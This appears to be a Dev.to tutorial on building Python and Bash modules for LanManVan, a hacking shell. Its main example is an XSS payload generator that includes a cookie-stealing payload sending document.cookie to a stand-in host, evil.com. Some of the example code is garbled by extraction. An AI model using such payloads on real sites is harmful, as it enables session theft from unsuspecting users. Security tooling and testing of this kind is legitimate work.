LanManVan: How to Create Your Own Modules
Source: Dev.to
Creating a New Module
Use the built‑in create command from the LanManVan shell.
# Python module
create mytool python
# Bash module
create mytool bash
Example
hmza@0root ❯ create xss-payload-gen python
[+] Module 'xss-payload-gen' created successfully
[*] Location: /home/hmza/lanmanvan/modules/xss-payload-gen
The command automatically creates:
- A module directory
module.yaml(metadata)main.pyormain.sh(your code)
You can edit the module with the edit command:
hmza@0root ❯ edit xss-payload-gen
This opens the module directory in your default editor and shows the files:
Files in module:
├─ main.py
└─ module.yaml
Module Metadata (module.yaml)
The module.yaml file tells LanManVan about your module.
name: xss-payload-gen
description: "Generates common XSS payloads with encoding options"
type: python
author: Your Name
version: 1.0.0
tags:
- web
- xss
- payload
options:
type:
type: string
description: Payload type (alert, steal-cookie, etc.)
required: true
default: alert
encode:
type: string
description: Encoding (url, html, base64, none)
required: false
default: url
required:
- type
Python Module Example (main.py)
Arguments are passed via environment variables (ARG_).
#!/usr/bin/env python3
"""
Module: xss-payload-gen
"""
import os
import urllib.parse
import base64
def url_encode(s):
return urllib.parse.quote(s)
def html_encode(s):
return (
s.replace('&', '&')
.replace('', '>')
.replace('"', '"')
)
def main():
payload_type = os.getenv('ARG_TYPE', 'alert')
encode = os.getenv('ARG_ENCODE', 'url').lower()
payloads = {
'alert': 'alert(1)',
'steal-cookie': 'fetch("https://evil.com/steal?cookie="+document.cookie)',
'beacon': ''
}
base = payloads.get(payload_type, payloads['alert'])
if encode == 'url':
result = url_encode(base)
elif encode == 'html':
result = html_encode(base)
elif encode == 'base64':
result = base64.b64encode(base.encode()).decode()
else:
result = base
print(f"[+] Generated payload ({payload_type}, {encode}-encoded):")
print()
print(result)
print()
print("[*] Copy and test in your target!")
if __name__ == '__main__':
main()
Running the Python Module
# Shorthand (no spaces)
xss-payload-gen type=steal-cookie encode=none
# With spaces (still works)
xss-payload-gen type = beacon encode = base64
# Using additional global options
xss-payload-gen type=alert threads=5 save=1
Output is saved to ./logs/ with a timestamp when save=1 is used.
Bash Module Example (main.sh)
Create a Bash‑based module, e.g., a MAC address lookup tool.
# Create the module
create mac-lookup bash
Edit main.sh:
#!/bin/bash
VENDOR=$(curl -s "http://api.macvendors.com/$ARG_MAC")
echo "[+] MAC: $ARG_MAC"
echo "[+] Vendor: ${VENDOR:-Unknown}"
Corresponding module.yaml (only the options section is shown for brevity):
options:
mac:
type: string
description: MAC address to lookup
required: true
Running the Bash Module
mac-lookup mac=00:11:22:33:44:55
Additional Tips
- Search –
search <term>finds similar modules. - Info –
info <module>shows a detailed view. - Logging – add
save=1to store output in./logs/. - Threading – use
threads=Nfor concurrent execution (if the module supports it). - Global variables – set
timeout=?orproxy=http://127.0.0.1:8080as needed.
Publishing Your Module
- Put your module in its own GitHub repository.
- Include the
module.yamlfile. - Open a Pull Request to add it to the community repositories, or use
lmv_moduleto install directly from any public repo.
LanManVan makes module development fun and fast—no boilerplate, no complex APIs—just write your tool and run it in a powerful shell.
Start creating today!
hmza@0root ❯ create my-awesome-tool python
Repository:
Drop your modules, ideas, or PRs—let’s grow this together! Happy hacking (ethically, always)! 🚀